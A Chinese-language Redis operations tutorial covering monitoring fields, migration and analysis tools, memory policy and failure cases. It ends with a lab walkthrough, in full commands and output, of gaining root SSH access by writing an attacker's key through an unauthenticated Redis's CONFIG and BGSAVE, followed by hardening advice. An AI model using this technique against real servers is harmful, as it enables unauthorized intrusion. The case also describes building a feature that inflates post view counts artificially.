第27章 Redis监控

1.参考地址

http://www.redis.cn/commands/info.html

2.内容详解

监控集群命令

```
redis-cli -c -h 10.0.0.51 -p 6380 info
```

server相关

redis_version: Redis 服务器版本

redis_git_sha1: Git SHA1

redis_git_dirty: Git dirty flag

redis_build_id: 构建ID

redis_mode: 服务器模式（standalone，sentinel或者cluster）

os: Redis 服务器的宿主操作系统

arch_bits: 架构（32 或 64 位）

multiplexing_api: Redis 所使用的事件处理机制

atomicvar_api: Redis使用的Atomicvar API

gcc_version: 编译 Redis 时所使用的 GCC 版本

process_id: 服务器进程的 PID

run_id: Redis 服务器的随机标识符（用于 Sentinel 和集群）

tcp_port: TCP/IP 监听端口

uptime_in_seconds: 自 Redis 服务器启动以来，经过的秒数

uptime_in_days: 自 Redis 服务器启动以来，经过的天数

hz: 服务器的频率设置

lru_clock: 以分钟为单位进行自增的时钟，用于 LRU 管理

executable: 服务器的可执行文件路径

config_file: 配置文件路径

client相关

connected_clients: 已连接客户端的数量（不包括通过从属服务器连接的客户端）

client_longest_output_list: 当前连接的客户端当中，最长的输出列表

client_biggest_input_buf: 当前连接的客户端当中，最大输入缓存

blocked_clients: 正在等待阻塞命令（BLPOP、BRPOP、BRPOPLPUSH）的客户端的数量

memory相关

used_memory: 由 Redis 分配器分配的内存总量，以字节（byte）为单位

used_memory_human: 以人类可读的格式返回 Redis 分配的内存总量

used_memory_rss: 从操作系统的角度，返回 Redis 已分配的内存总量（俗称常驻集大小）。这个值和 top 、 ps 等命令的输出一致。

used_memory_peak: Redis 的内存消耗峰值（以字节为单位）

used_memory_peak_human: 以人类可读的格式返回 Redis 的内存消耗峰值

used_memory_peak_perc: 使用内存占峰值内存的百分比

used_memory_overhead: 服务器为管理其内部数据结构而分配的所有开销的总和（以字节为单位）

used_memory_startup: Redis在启动时消耗的初始内存大小（以字节为单位）

used_memory_dataset: 以字节为单位的数据集大小（used_memory减去used_memory_overhead）

used_memory_dataset_perc: used_memory_dataset占净内存使用量的百分比（used_memory减去used_memory_startup）

total_system_memory: Redis主机具有的内存总量

total_system_memory_human: 以人类可读的格式返回 Redis主机具有的内存总量

used_memory_lua: Lua 引擎所使用的内存大小（以字节为单位）

used_memory_lua_human: 以人类可读的格式返回 Lua 引擎所使用的内存大小

maxmemory: maxmemory配置指令的值

maxmemory_human: 以人类可读的格式返回 maxmemory配置指令的值

maxmemory_policy: maxmemory-policy配置指令的值

mem_fragmentation_ratio: used_memory_rss 和 used_memory 之间的比率

mem_allocator: 在编译时指定的， Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。

active_defrag_running: 指示活动碎片整理是否处于活动状态的标志

lazyfree_pending_objects: 等待释放的对象数（由于使用ASYNC选项调用UNLINK或FLUSHDB和FLUSHALL）

在理想情况下， used_memory_rss 的值应该只比 used_memory 稍微高一点儿。

当 rss > used ，且两者的值相差较大时，表示存在（内部或外部的）内存碎片。

内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。

当 used > rss 时，表示 Redis 的部分内存被操作系统换出到交换空间了，在这种情况下，操作可能会产生明显的延迟。
由于Redis无法控制其分配的内存如何映射到内存页，因此常住内存（used_memory_rss）很高通常是内存使用量激增的结果。
当 Redis 释放内存时，内存将返回给分配器，分配器可能会，也可能不会，将内存返还给操作系统。
如果 Redis 释放了内存，却没有将内存返还给操作系统，那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
查看 used_memory_peak 的值可以验证这种情况是否发生。

持久化相关

loading：指示转储文件（dump）的加载是否正在进行的标志
rdb_changes_since_last_save：自上次转储以来的更改次数
rdb_bgsave_in_progress：指示RDB文件是否正在保存的标志
rdb_last_save_time：上次成功保存RDB的基于纪年的时间戳
rdb_last_bgsave_status：上次RDB保存操作的状态
rdb_last_bgsave_time_sec：上次RDB保存操作的持续时间（以秒为单位）
rdb_current_bgsave_time_sec：正在进行的RDB保存操作的持续时间（如果有）
rdb_last_cow_size：上次RDB保存操作期间copy-on-write分配的字节大小
aof_enabled：表示AOF记录已激活的标志
aof_rewrite_in_progress：表示AOF重写操作正在进行的标志
aof_rewrite_scheduled：表示一旦进行中的RDB保存操作完成，就会安排进行AOF重写操作的标志
aof_last_rewrite_time_sec：上次AOF重写操作的持续时间，以秒为单位
aof_current_rewrite_time_sec：正在进行的AOF重写操作的持续时间（如果有）
aof_last_bgrewrite_status：上次AOF重写操作的状态
aof_last_write_status：上一次AOF写入操作的状态
aof_last_cow_size：上次AOF重写操作期间copy-on-write分配的字节大
aof_current_size：当前的AOF文件大小
aof_base_size：上次启动或重写时的AOF文件大小
aof_pending_rewrite：指示AOF重写操作是否会在当前RDB保存操作完成后立即执行的标志。
aof_buffer_length：AOF缓冲区大小
aof_rewrite_buffer_length：AOF重写缓冲区大小
aof_pending_bio_fsync：在后台IO队列中等待fsync处理的任务数
aof_delayed_fsync：延迟fsync计数器

正在加载的操作

loading_start_time：加载操作的开始时间（基于纪元的时间戳）
loading_total_bytes：文件总大小
loading_loaded_bytes：已经加载的字节数
loading_loaded_perc：已经加载的百分比
loading_eta_seconds：预计加载完成所需的剩余秒数

stats相关

total_connections_received：服务器接受的连接总数
total_commands_processed：服务器处理的命令总数
instantaneous_ops_per_sec：每秒处理的命令数
rejected_connections：由于maxclients限制而拒绝的连接数
expired_keys：key到期事件的总数
evicted_keys：由于maxmemory限制而导致被驱逐的key的数量
keyspace_hits：在主字典中成功查找到key的次数
keyspace_misses：在主字典中查找key失败的次数
pubsub_channels：拥有客户端订阅的全局pub/sub通道数
pubsub_patterns：拥有客户端订阅的全局pub/sub模式数
latest_fork_usec：最新fork操作的持续时间，以微秒为单位

replication相关

role：如果实例不是任何节点的从节点，则值是"master"，如果实例从某个节点同步数据，则是"slave"。 请注意，一个从节点可以是另一个从节点的主节点（菊花链）。
如果实例是从节点，则会提供以下这些额外字段：

master_host：主节点的Host名称或IP地址
master_port：主节点监听的TCP端口
master_link_status：连接状态（up或者down）
master_last_io_seconds_ago：自上次与主节点交互以来，经过的秒数
master_sync_in_progress：指示主节点正在与从节点同步
如果SYNC操作正在进行，则会提供以下这些字段：

master_sync_left_bytes：同步完成前剩余的字节数
master_sync_last_io_seconds_ago：在SYNC操作期间自上次传输IO以来的秒数

如果主从节点之间的连接断开了，则会提供一个额外的字段：

master_link_down_since_seconds：自连接断开以来，经过的秒数
以下字段将始终提供：

connected_slaves：已连接的从节点数
对每个从节点，将会添加以下行：

slaveXXX：id，地址，端口号，状态

CPU相关

used_cpu_sys：由Redis服务器消耗的系统CPU
used_cpu_user：由Redis服务器消耗的用户CPU
used_cpu_sys_children：由后台进程消耗的系统CPU
used_cpu_user_children：由后台进程消耗的用户CPU

3.zabbix参考配置

```
cat >/etc/zabbix/zabbix_agentd.d/redis.conf <<'EOF'
UserParameter=redis_info[*],redis-cli info|grep -w "$1"|sed -r 's#^.*:##g'
EOF
```

第28章 Redis常用运维工具

1.使用第三方工具迁移-只适合4.x之前的版本

需求背景

刚切换到redis集群的时候肯定会面临数据导入的问题，所以这里推荐使用redis-migrate-tool工具来导入单节点数据到集群里

官方地址：

http://www.oschina.net/p/redis-migrate-tool

安装工具

```
yum install libtool autoconf automake -y
cd /opt/
git clone https://github.com/vipshop/redis-migrate-tool.git
cd redis-migrate-tool/
autoreconf -fvi
./configure
make && make install
```

创建配置文件

```
cat >redis_6379_to_6380.conf <<EOF
[source]
type: single
servers:
- 10.0.0.51:6379
[target]
type: redis cluster
servers:
- 10.0.0.51:6380
[common]
listen: 0.0.0.0:8888
source_safe: true
EOF
```

生成测试数据

```
cat >input_key.sh <<EOF
#!/bin/bash
for i in $(seq 1 1000)
do
  redis-cli -c -h db01 -p 6379 set k_${i} v_${i} && echo "set k_${i} is ok"
```

```
done
EOF
```

执行导入命令

```
redis-migrate-tool -c redis_6379_to_6380.conf
```

数据校验

```
redis-migrate-tool -c redis_6379_to_6380.conf -C redis_check
```

2.使用redis-cli数据迁移-适合4.x以后的版本

4.x以前的数据迁移使用第三方工具

```
https://github.com/vipshop/redis-migrate-tool
```

不加copy参数相当于mv,老数据迁移完成后就删掉了

```
redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379
```

加了copy参数相当于cp,老数据迁移完成后会保留

```
redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy
```

添加replace参数会覆盖掉同名的数据，如果不添加遇到同名的key会提示冲突，对新集群新增加的数据不受影响

```
redis-cli --cluster import 10.0.0.51:6380 --cluster-from 10.0.0.51:6379 --cluster-copy --cluster-replace
```

验证迁移期间边写边导会不会影响: 同时开2个终端，一个写入key，

```
for i in {1..1000};do redis-cli set k_${i} v_${i};sleep 0.2;echo ${i};done
```

一个执行导入命令

```
redis-cli --cluster import 10.0.0.51:6380 --cluster-copy --cluster-replace --cluster-from  10.0.0.51:6379
```

得出结论:

只会导入当你执行导入命令那一刻时，当前被导入节点的所有数据，类似于快照，对于后面再写入的数据不会更新

3.分析key大小

使用redis-cli分析

```
redis-cli --bigkeys
redis-cli --memkeys
```

#使用第三方分析工具:

安装命令

```
yum install python-pip gcc python-devel -y
cd /opt/
git clone https://github.com/sripathikrishnan/redis-rdb-tools
cd redis-rdb-tools
pip install python-lzf
python setup.py install
```

生成测试数据

```
redis-cli set txt $(cat txt.txt)
```

生成rdb文件

```
redis-cli bgsave
```

使用工具解析RDB文件

```
cd /data/redis_6379/
rdb -c memory redis_6379.rdb -f redis_6379.rdb.csv
```

过滤分析

```
awk -F"," '{print $4,$3}' redis_6379.rdb.csv |sort -r
```

汇报领导

将结果整理汇报给领导,询问开发这个key是否可以删除

删除之前，最好做次备份

4.性能测试

```
redis-benchmark -n 10000 -q
```

5.多实例运维脚本

```
cat > redis_shell.sh << 'EOF'
#!/bin/bash
```

```
3
4  USAG(){
5   echo "sh $0 {start|stop|restart|login|ps|tail} PORT"
6  }
7  if [ "$#" = 1 ]
8  then
9   REDIS_PORT='6379'
10  elif
11   [ "$#" = 2 -a -z "$(echo "$2"|sed 's#[0-9]##g')" ]
12  then
13   REDIS_PORT="$2"
14  else
15   USAG
16   exit 0
17  fi
18
19  REDIS_IP=$(hostname -I|awk '{print $1}')
20  PATH_DIR=/opt/redis_${REDIS_PORT}/
21  PATH_CONF=/opt/redis_${REDIS_PORT}/conf/redis_${REDIS_PORT}.conf
22  PATH_LOG=/opt/redis_${REDIS_PORT}/logs/redis_${REDIS_PORT}.log
23
24  CMD_START(){
25   redis-server ${PATH_CONF}
26  }
27
28  CMD_SHUTDOWN(){
29   redis-cli -c -h ${REDIS_IP} -p ${REDIS_PORT} shutdown
30  }
31
32  CMD_LOGIN(){
33   redis-cli -c -h ${REDIS_IP} -p ${REDIS_PORT}
34  }
35
36  CMD_PS(){
37   ps -ef|grep redis
38  }
39
40  CMD_TAIL(){
41   tail -f ${PATH_LOG}
42  }
43
44  case $1 in
45   start)
46   CMD_START
47   CMD_PS
48   ;;
49   stop)
50   CMD_SHUTDOWN
51   CMD_PS
52   ;;
53   restart)
54   CMD_START
55   CMD_SHUTDOWN
```

```
  CMD_PS
  ;;
  login)
  CMD_LOGIN
  ;;
  ps)
  CMD_PS
  ;;
  tail)
  CMD_TAIL
  ;;
  *)
  USAG
esac
EOF
```

第29章 Redis内存管理

1.生产上一定要配置Redis内存限制

```
maxmemory NG
```

2.内存回收机制

```
1.noevicition 默认策略，不会删除任务数据，拒绝所有写入操作并返回客户端错误信息，此时只响应读操作
2.volatile-lru 根据LRU算法删除设置了超时属性的key，指导腾出足够空间为止，如果没有可删除的key，则退回到noevici
tion策略
3.allkeys-lru 根据LRU算法删除key，不管数据有没有设置超时属性
4.allkeys-random 随机删除所有key
5.volatile-random 随机删除过期key
5.volatile-ttl 根据key的ttl，删除最近要过期的key
```

3.生产上redis限制多大内存

先空出来系统一半内存

48G 一共

24G 系统

24G redis

redis先给8G内存 满了之后，分析结果告诉老大和开发，让他们排查一下是否所有的key都是必须的

redis再给到12G内存 满了之后，分析结果告诉老大和开发，让他们排查一下是否所有的key都是必须的

redis再给到16G内存 满了之后，分析结果告诉老大和开发，让他们排查一下是否所有的key都是必须的

等到24G都用完了之后，汇报领导，要考虑买内存了。

等到35G的时候，就要考虑是加内存，还是扩容机器。

4.优化建议

1.专机专用，不要跑其他的服务

2.内存给够，限制内存使用大小

3.使用SSD硬盘

4.网络带宽够大

5.定期分析BigKey

第x章 实战-槽位分配错误如何调整

1. 假如是在集群初始化状态下分配错了

解决难度: *

解决方法: 重新初始化

```
redis-cli -h 10.0.0.51 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6380 CLUSTER RESET
redis-cli -h 10.0.0.51 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.52 -p 6381 CLUSTER RESET
redis-cli -h 10.0.0.53 -p 6381 CLUSTER RESET

redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6380
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.51 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.52 6381
redis-cli -h 10.0.0.51 -p 6380 CLUSTER MEET 10.0.0.53 6381

redis-cli -h 10.0.0.51 -p 6380 CLUSTER ADDSLOTS {0..5460}
redis-cli -h 10.0.0.52 -p 6380 CLUSTER ADDSLOTS {5461..10921}
redis-cli -h 10.0.0.53 -p 6380 CLUSTER ADDSLOTS {10922..16383}

redis-cli -h 10.0.0.52 -p 6381 CLUSTER NODES
redis-cli -h 10.0.0.52 -p 6381 CLUSTER INFO
```

2.假如已经有数据写入了的情况下，运行一段时间才分配错了

x.集群命令

```
CLUSTER NODES
CLUSTER MEET
CLUSTER INFO
CLUSTER ADDSLOTS
CLUSTER DELSLOTS
CLUSTER FAILOVER
redis-cli --cluster rebalance 10.0.0.51:6380
redis-cli --cluster info 10.0.0.51:6380
```

第x章 故障案例

1.虚拟内存配置问题

```
# 默认情况下，如果 redis 最后一次的后台保存失败，redis 将停止接受写操作，
# 这样以一种强硬的方式让用户知道数据不能正确的持久化到磁盘，
# 否则就会没人注意到灾难的发生。
#
# 如果后台保存进程重新启动工作了，redis 也将自动的允许写操作。
#
# 然而你要是安装了靠谱的监控，你可能不希望 redis 这样做，那你就改成 no 好了。
stop-writes-on-bgsave-error yes

(error) LOADING Redis is loading the dataset in memory

762:M 04 Dec 14:47:06.263 * Background saving terminated with success
762:M 04 Dec 14:48:07.065 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:07.065 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:13.073 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:13.073 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:19.084 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:19.084 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:25.091 * 10000 changes in 60 seconds. Saving...
```

#业务端警告信息

```
2017-12-04 15:04:08 [112.34.110.29][-][-][error][yii\db\Exception] exception 'yii\db\Exception' with message 'Redis error: MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.'
```

#redis日志警告提示

#内存不够时候的日志警告

```
762:M 04 Dec 14:47:06.263 * Background saving terminated with success
762:M 04 Dec 14:48:07.065 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:07.065 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:13.073 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:13.073 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:19.084 * 10000 changes in 60 seconds. Saving...
762:M 04 Dec 14:48:19.084 # Can't save in background: fork: Cannot allocate memory
762:M 04 Dec 14:48:25.091 * 10000 changes in 60 seconds. Saving...
```

#重启后的日志警告

```
9469:M 22 Apr 18:06:40.965 # Server started, Redis version 3.0.7
9469:M 22 Apr 18:06:40.965 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
9469:M 22 Apr 18:06:40.965 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
9469:M 22 Apr 18:06:40.965 # Server started, Redis version 3.0.7
9469:M 22 Apr 18:06:40.965 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
9469:M 22 Apr 18:06:40.965 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/
enabled as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted afte
r THP is disabled.
```

#修改方法

在/etc/sysctl.conf添加如下内容

```
vm.overcommit_memory = 1
```

#原因解释

Redis的数据回写机制分同步和异步两种，

同步回写即SAVE命令，主进程直接向磁盘回写数据。在数据大的情况下会导致系统假死很长时间，所以一般不是推荐的。

异步回写即BGSAVE命令，主进程fork后，复制自身并通过这个新的进程回写磁盘，回写结束后新进程自行关闭。由于这样做不需要主进程阻塞，系统不会假死，一般默认会采用这个方法。

在小内存的进程上做一个fork,不需要太多资源，但当这个进程的内存空间以G为单位时，fork就成为一件很恐怖的操作。何况在16G内存的主机上fork 14G内存的进程呢？肯定会报内存无法分配的。更可气的是，越是改动频繁的主机上fork也越频繁，fork操作本身的代价恐怕也不会比假死好多少。

找到原因之后，直接修改内核参数vm.overcommit_memory = 1

Linux内核会根据参数vm.overcommit_memory参数的设置决定是否放行。

如果 vm.overcommit_memory = 1，直接放行

vm.overcommit_memory = 0：则比较 此次请求分配的虚拟内存大小和系统当前空闲的物理内存加上swap，决定是否放行。

vm.overcommit_memory = 2：则会比较 进程所有已分配的虚拟内存加上此次请求分配的虚拟内存和系统当前的空闲物理内存加上swap，决定是否放行。

2.优惠卷不过期案例

解决：

0.设置key的时候就指定过期时间

1.开发配置优惠卷之前，先把所有需要过期的key都发给运维

2.运维批量监控这些需要过期的key

3.只要这些key出现了-1的值，就表示永不过期了，就需要报警

来自深圳的30k张总解答:

设置指定时间过期是可以计算的，如果要在当天0点过期，用0点的时间戳减去当前时间戳，值设为过期时间就行了，代码很容易实现，一般数据库还保存有一个固定的过期时间，即便 redis 的 key 未失效，在下单时依旧还会和数据库的这个值作比对，双重校验

3.办公室刷帖导致封锁

问题背景：
某日，突然在公司办公室集体访问不了公司网站了，访问其他网站都正常，用手机流量访问公司网站却正常

排查过程：
笔记本用手机流量热点，连上了IDC机房的VPN服务器，连上反向代理负载均衡查看，发现公司出口IP地址被防火墙封掉了。

紧急恢复：
先放开规则，恢复访问。再排查问题

排查步骤：
为什么办公室会被封?
防火墙上做了限制访问次数，如果访问超过1分钟200次，就自动封掉这个IP，24小时后再放开。

内网是谁在大量访问呢?
通过路由器查看那个交换机流量大
通过交换机确认哪个端口的流量异常
拔掉网线，然后等待尖叫声

问题真正原因：
供应商软文有指标，需要把热度炒起来，所以同事用浏览器自动刷新网页的插件不断的刷新网页。
从而触发了防火墙的限制，又因为防火墙没有设置白名单，所以导致整个办公室唯一的出口IP被封掉。

解决方案：
开发在后台添加新功能，输入帖子ID和期望的访问数，操作Redis字符串的计数器功能自动添加访问量
防火墙设置白名单，放开公司办公室出口IP

4.利用Redis远程入侵Linux

前提条件：

1.redis以root用户运行
2.redis允许远程登陆
3.redis没有设置密码或者密码简单

入侵原理:

1.本质是利用了redis的热更新配置，可以动态的设置数据持久化的路径和持久化文件名称
2.首先攻击者可以远程登陆redis，然后将攻击者的ssh公钥当作一个key存入redis里
3.利用动态修改配置，将持久化目录保存成/root/.ssh
4.利用动态修改配置,将持久化文件名更改为authorized_keys
5.执行数据保存命令，这样就会在生成/root/,ssh/authorized_keys文件
6.而这个文件里包含了攻击者的密钥，所以此时攻击者可以免密登陆远程的服务器了

实验步骤：

1.生成密钥

```
[root@db02 ~/.ssh]# ssh-keygen
```

2.将密钥保存成文件

```
[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key

ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k
 root@db02
```

3.将密钥写入redis

```
[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK
```

4.登陆redis动态修改配置并保存

```
[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
```

```
10.0.0.51:6379> BGSAVE
Background saving started
```

5.被攻击的机器查看是否生成文件

```
[root@db01 ~]# cat .ssh/authorized_keys
```

6.入侵者查看是否可以登陆

```
[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#
```

此时可以发现，已经可以免密登陆了。

7.如何防范

1.以普通用户启动redis,这样就没有办法在/root/目录下创建数据

2.设置复杂的密码

3.不要监听所有端口，只监听内网地址

4.禁用动态修改配置的命令和危险命令

5.做好监控和数据备份